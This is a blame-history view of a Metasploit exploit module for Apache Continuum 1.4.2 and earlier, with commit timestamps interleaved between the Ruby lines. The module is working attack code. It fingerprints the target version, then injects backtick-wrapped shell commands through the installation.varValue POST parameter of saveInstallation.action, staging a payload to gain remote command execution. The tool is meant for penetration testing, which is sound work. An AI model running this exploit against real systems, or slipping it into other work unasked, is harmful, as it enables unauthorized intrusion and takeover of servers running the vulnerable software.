metasploit-framework/modules/exploits/linux/http/apache_continuum_cmd_exec.rb

75 lines
1.9 KiB
Ruby
Raw Normal View History

2016-06-09 22:41:05 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2016-06-09 22:41:05 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2016-06-10 23:25:55 +00:00
include Msf::Exploit::CmdStager
2016-06-09 22:41:05 +00:00
def initialize(info = {})
super(update_info(info,
2016-06-10 23:25:55 +00:00
'Name' => 'Apache Continuum Arbitrary Command Execution',
'Description' => %q{
2016-06-09 22:41:05 +00:00
This module exploits a command injection in Apache Continuum <= 1.4.2.
By injecting a command into the installation.varValue POST parameter to
/continuum/saveInstallation.action, a shell can be spawned.
},
2016-06-10 23:25:55 +00:00
'Author' => [
2016-06-09 22:41:05 +00:00
'David Shanahan', # Proof of concept
'wvu' # Metasploit module
],
2016-06-10 23:25:55 +00:00
'References' => [
2016-06-09 22:41:05 +00:00
%w{EDB 39886}
],
2016-06-10 23:25:55 +00:00
'DisclosureDate' => 'Apr 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
2016-06-10 23:25:55 +00:00
'Privileged' => false,
'Targets' => [
2016-06-09 22:41:05 +00:00
['Apache Continuum <= 1.4.2', {}]
],
2016-06-10 23:25:55 +00:00
'DefaultTarget' => 0
2016-06-09 22:41:05 +00:00
))
register_options([
Opt::RPORT(8080)
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/continuum/about.action'
)
if res && res.body.include?('1.4.2')
CheckCode::Appears
elsif res && res.code == 200
CheckCode::Detected
else
CheckCode::Safe
end
end
def exploit
2016-06-10 23:25:55 +00:00
print_status('Injecting CmdStager payload...')
execute_cmdstager
2016-06-10 23:25:55 +00:00
end
def execute_command(cmd, opts = {})
2016-06-09 22:41:05 +00:00
send_request_cgi(
'method' => 'POST',
'uri' => '/continuum/saveInstallation.action',
'vars_post' => {
'installation.name' => Rex::Text.rand_text_alpha(8),
'installation.type' => 'jdk',
2016-06-10 23:25:55 +00:00
'installation.varValue' => '`' + cmd + '`'
2016-06-09 22:41:05 +00:00
}
)
end
end